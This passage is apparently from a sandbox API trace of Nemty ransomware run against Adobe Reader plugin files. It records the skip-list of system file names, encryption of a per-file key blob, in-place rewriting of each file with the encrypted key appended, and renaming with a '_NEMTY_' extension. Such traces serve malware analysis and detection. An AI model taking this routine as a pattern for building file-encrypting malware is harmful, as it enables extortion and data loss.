lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.NOR", lpUsedDefaultChar=0x0) returned 16 [0191.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0191.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.NOR", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.NOR", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.NOR", lpUsedDefaultChar=0x0) returned 16 [0191.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0191.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.NOR", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.NOR", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.NOR", lpUsedDefaultChar=0x0) returned 16 [0191.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.NOR", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.NOR", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.NOR", lpUsedDefaultChar=0x0) returned 16 [0191.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0191.696] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0191.696] Sleep (dwMilliseconds=0x5) [0191.706] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25e9a610, dwHighDateTime=0x1d561e8)) [0191.706] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25e9a610, dwHighDateTime=0x1d561e8)) [0191.706] GetLastError () returned 0x0 [0191.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.706] GetLastError () returned 0x0 [0191.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.706] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.707] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.707] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0191.707] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e29c | out: pszString="Uh/HJEKFDwouc5IhJLPuWTmG0vK+j07dAFLCi48PVTcvxkvZoghSNEIkx9iUvnxE\r\nvvXARTRSQFWO1nZa+8qWRUIMLAdFgXqKwCrXWxpt//s0PpKLm1N+wyjw6TDHXxxy\r\nJ4Ie4Qk0AKmvyHUBpvtkxsvY5Ry+S3fabNnsGyVDA4ZLkT2Wr0N8IbYPWF29CoXE\r\nH1qxvj1P0U0bFMdLEV1yS5ZOBxiUMOvmI1wZpCbYUQxIzUlKakdVGtutjP+S4Xfp\r\nkVYvy8Lg+d/q0WVcrx/6fw7wmlpWUZpW/RYLYaCXsfgFevbC66rtmOxEWYSy0Ywm\r\nxg3Xf4QZ6sCLJeYPSj1CIw==\r\n", pcchString=0x653e29c) returned 1 [0191.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0191.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0191.707] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.707] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.707] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.707] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.709] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.709] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.709] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.709] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.709] CloseHandle (hObject=0x2f0) returned 1 [0191.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0191.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.710] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0191.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0191.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0191.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.710] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.nor._nemty_kgobjgd_")) returned 1 [0191.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0191.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0191.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.711] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.PTB", cAlternateFileName="WINDOW~1.PTB")) returned 1 [0191.711] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2=".") returned 1 [0191.711] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2="..") returned 1 [0191.711] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2="...") returned 1 [0191.711] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2="windows") returned 1 [0191.711] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2="$RECYCLE.BIN") returned 1 [0191.711] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2="rsa") returned 1 [0191.711] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2="NTDETECT.COM") returned 1 [0191.711] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2="ntldr") returned 1 [0191.711] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2="MSDOS.SYS") returned 1 [0191.711] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2="IO.SYS") returned 1 [0191.711] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2="boot.ini") returned 1 [0191.711] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2="boot.ini") returned 1 [0191.711] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0191.711] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2="ntuser.dat") returned 1 [0191.711] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2="desktop.ini") returned 1 [0191.711] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2="CONFIG.SYS") returned 1 [0191.711] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2="RECYCLER") returned 1 [0191.711] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2="BOOTSECT.BAK") returned 1 [0191.711] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2="bootmgr") returned 1 [0191.711] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2="programdata") returned 1 [0191.711] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2="appdata") returned 1 [0191.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.PTB", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.PTB", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.PTB", lpUsedDefaultChar=0x0) returned 16 [0191.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0191.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.PTB", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.PTB", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.PTB", lpUsedDefaultChar=0x0) returned 16 [0191.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0191.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.PTB", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.PTB", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.PTB", lpUsedDefaultChar=0x0) returned 16 [0191.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.PTB", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.712] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.PTB", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.PTB", lpUsedDefaultChar=0x0) returned 16 [0191.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400f0 [0191.712] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0191.712] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0191.712] Sleep (dwMilliseconds=0x5) [0191.722] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25ec0770, dwHighDateTime=0x1d561e8)) [0191.722] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25ec0770, dwHighDateTime=0x1d561e8)) [0191.722] GetLastError () returned 0x0 [0191.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.722] GetLastError () returned 0x0 [0191.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.722] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.722] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.722] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0191.722] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e29c | out: pszString="SrroOex6gIXtJkV5TIor5PYx4BFGB0z24HkDBFeL/8UPF2XJNy8Yy64AP67i0M8G\r\nSsy9Uxwzj5QBbGHi5M8gGw3TjWkQx2kGBTX8aW6ZlviewhE7GKcQNdKjHksqCN+c\r\nXSIjpbvgJlNeBySKyz3+CRS0Dc9ZAp1Zwv4YPE7ZbR3ASHOkgeSXPzURdZSMnKUo\r\nUbpg2qhTRzD1zA9eTjdd9CYJeXVHa2gT7K1jZHuKJslcqjr7QMLSj5fmV+YG0DLP\r\nwvRAjqend2Z65JhfnC9FklW4yUgBkLDH/FngFVTvIcJc1UNn0NVix3GmRfiI7cqZ\r\n3E/wSk0LCd69kMk2rGZhig==\r\n", pcchString=0x653e29c) returned 1 [0191.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0191.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.722] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0191.722] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.723] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.723] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.723] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.723] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.723] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.724] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.724] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.725] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.725] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.725] CloseHandle (hObject=0x2f0) returned 1 [0191.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0191.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0191.725] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0191.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0191.725] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.725] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\WindowsMedia.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\windowsmedia.ptb._nemty_kgobjgd_")) returned 1 [0191.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0191.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0191.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 